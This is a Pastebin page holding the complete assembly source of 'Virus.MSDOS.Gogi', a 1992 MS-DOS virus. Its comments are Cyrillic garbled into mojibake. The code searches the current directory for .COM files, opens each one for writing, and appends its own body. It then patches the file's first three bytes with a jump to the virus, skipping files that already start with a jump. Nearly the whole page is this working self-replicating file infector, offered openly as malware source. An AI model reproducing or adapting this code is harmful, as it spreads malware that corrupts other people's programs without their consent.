Advertisement
FlyFar

Virus.MSDOS.Gogi - Source Code

Jun 20th, 2023
1,735
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 6.33 KB | Cybersecurity | 0 0
  1. ; �����쪨� (��� ����让) �����, ��ࠦ��騩 .COM-�ணࠬ��
  2. ;   �� ����᪥, �᫨ � ��� ���� ���砫� JMP.
  3. ; �஢�ન �� ��直� ���筮�� �� ����������.
  4. ;
  5. ; Copyright (c) 1992, Gogi&Givi International.
  6. ;
  7.  
  8. .model  tiny
  9. .code
  10.     org 0100h
  11. start:
  12.     jmp virusstart          ; ���室 �� �����:
  13.     mov ah,09h              ;   ⠪��, ��� �㤥�
  14.     int 21h             ;   � ���⢮� ��
  15.     mov ax,4C00h            ;   ��ࠦ����
  16.     int 21h
  17.     Message db 'Workers of the world, unite!',13,10,'Karl Marx'
  18.                         ; �� �� ��� ��ଠ���
  19.                         ;   ��� �����
  20.  
  21. virusstart:                 ; � �� �����
  22.         pushf
  23.     push    ax              ; ���࠭塞 ��, ��
  24.     push    bx              ;   ⮫쪮 �����...
  25.     push    cx
  26.     push    dx
  27.     push    ds              ; �� ����, ��᪮�쪮
  28.     push    es              ;   �� �ࠢ��쭮...
  29.     push    si
  30.     call    SelfPoint
  31. SelfPoint:                                      ; ��।��塞 ���
  32.         pop     si                              ;   �室�
  33.  
  34.         cld                                     ; �������� ��ࠢ�
  35.         push    cs                              ; ���⠢�� ᥣ�����
  36.         pop     ds                              ;   ॣ����� �����祭��
  37.         push    cs                              ;   � ��ࠢ�����
  38.     pop es
  39.     mov di,0100h            ; � �ਥ����� - 0100h,
  40.     push    si              ;   ��砫� �ணࠬ��
  41.     add si,original-SelfPoint       ; ����� SI 㪠�뢠�� ��
  42.     mov cx,3                ;   �ਣ������ �����
  43.     rep movsb               ; ������㥬 �� � ��砫�
  44.     pop si              ;   ��ࠦ����� �ணࠬ��
  45.  
  46.     mov ah,1Ah              ; ���⠢�� ᮡ�⢥����
  47.     mov dx,si               ;   DTA �� ���� �����
  48.     add dx,VirusDTA-SelfPoint       ;   21h ���뢠����
  49.     int 21h
  50.  
  51.     mov ah,4Eh              ; ������ FindFirst
  52.     mov dx,si               ;   � ᮮ⢥�����饩
  53.     add dx,FileMask-SelfPoint       ;   ��᪮�
  54.     mov cx,32               ;   � ��ਡ�⮬ �⥭��/
  55.     int 21h             ;   ������, �⮡� ��
  56.                         ;   �����
  57.     jnc RepeatOpen          ; �訡�� ��� - ���뢠��
  58.  
  59.     jmp OutVirus            ; ����� ��襫...
  60.  
  61. RepeatOpen:
  62.         mov     ax,3D02h                        ; ��஥� 䠩�
  63.         mov     dx,si                           ;   �� ����� ���७����
  64.         add dx,NameF-SelfPoint      ;   �ࠢ����� ���
  65.     int 21h
  66.     jc  OutVirus            ; �� ��� �訡��� ��室��
  67.  
  68.         mov     bx,ax                           ; ���쬥� ����� 䠩��,
  69.                         ;   � �㤥� ��ঠ���� �� BX
  70.  
  71.     mov ah,3Fh              ; ���뢠�� �����騥
  72.     mov dx,si               ;   ������� ���
  73.     add dx,Original-SelfPoint       ;   �ᯮ������
  74.     mov cx,3                ; ����� �㤥� �� ����
  75.     int 21h
  76.         jc      OutVirus            ; ����� �஢�ਬ �� �訡��...
  77.     push    bx
  78.     mov bx,dx
  79.     cmp byte ptr [bx],'�'     ; ���� � �⮬ 䠩��
  80.     pop bx              ;   ⮦� ᭠砫� ���室?
  81.                         ;
  82.     je  CloseNotInfect          ; ����� �� ��ࠦ���!
  83.                         ; ��, ���� ��� ���筥�
  84.                         ;   �஢�����...
  85.  
  86.     mov ax,4202h            ; ��룠�� � �����
  87.     xor cx,cx               ;   ����� (����ᨫ������)
  88.     xor dx,dx
  89.     int 21h             ; ������ � AX �����
  90.         jc      OutVirus                        ;   ���� ��砫�
  91.                         ;   �����, �᫨ ���,
  92.                         ;   ����筮, �訡��
  93.     push    ax
  94.  
  95.     mov ah,40h              ; ����襬
  96.     mov dx,si               ;   ⥫� �����
  97.     sub dx,SelfPoint-VirusStart     ;   � 䠩�-�����
  98.     mov cx,VirusEnd-VirusStart      ; ������⢮ ����
  99.     int 21h
  100.  
  101.     pop ax
  102.         jc      OutVirus            ; ����� ������� �訡�� -
  103.                         ;   ���, ⠬, ��९�����...
  104.  
  105.         sub     ax,3                            ; ���⠥� 3 - �⮡�
  106.         push    bx                              ;   ������� �㤠 ����
  107.     mov bx,si
  108.     sub bx,SelfPoint-VirusStart
  109.     mov word ptr cs:[bx+1],ax       ; ������ ����
  110.     mov byte ptr [bx],'�'     ; ������� ���室� (�
  111.                         ;   �।���� ᥣ����)
  112.     pop bx
  113.  
  114.     mov ax,4200h            ; � ⥯��� � ��砫�
  115.     xor cx,cx               ;   �����
  116.     xor dx,dx
  117.     int 21h
  118.         jc      OutVirus            ; �஢�ઠ �� �訡��
  119.  
  120.     mov ah,40h              ; � ����襬 �㤠
  121.     mov dx,si               ;   ������� ���室�
  122.     sub dx,SelfPoint-VirusStart     ;   �� ��� ���᭮�
  123.     mov cx,3                ;   ⥫�
  124.     int 21h
  125.         jc      OutVirus            ; ����� �஢�ਬ �訡��
  126.  
  127.     mov ah,3Eh              ; ���� ���� �������
  128.     int 21h             ;   (�� 㦥 ��ࠦ�� -
  129.     jmp OutVirus            ;   ����� �� ࠡ�⠥�)
  130.  
  131. CloseNotInfect:
  132.     mov ah,3Eh              ; ����뢠�� �����室�騩
  133.     int 21h             ;   䠩�
  134.    
  135.     mov dx,si
  136.     add dx,FileMask-SelfPoint       ; � ������ FindNext
  137.     mov ah,4Fh
  138.     int 21h
  139.     jc  OutVirus            ; �訡�� - �����, �� ��졠
  140.     jmp RepeatOpen          ; ��� ���室 �� ����⨥
  141.  
  142. OutVirus:
  143.     pop si              ; �, ����筮 ��,
  144.     pop es              ;   �� �� ᢥ�
  145.     pop ds              ;   ����⠭�����
  146.     pop dx
  147.     pop cx
  148.     pop bx
  149.     pop ax
  150.         popf
  151.     mov si,0100h            ; ����ᨬ � �⥪ ����
  152.     push    si              ;   ��砫� �ணࠬ��
  153.     ret                 ;   � ������ RET
  154.  
  155.                         ; ��� �����:
  156.  
  157. VirusDTA    db 30 dup (0)           ; �� DTA
  158. NameF       db 13 dup (0)           ; ��� �㤥� ��� 䠩��
  159. FileMask    db '*.cOm',(0)          ; ��� ⠪�� ��ᨢ��
  160.                         ;   ��᪠
  161. original:
  162.     mov dx,offset Message       ; � �� �ਣ������ �����
  163. VirusEnd:                   ;   �� ����� (�����᪨�,
  164.                         ;   �� �����!)
  165.     end start
Tags: virus asm MSDOS
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement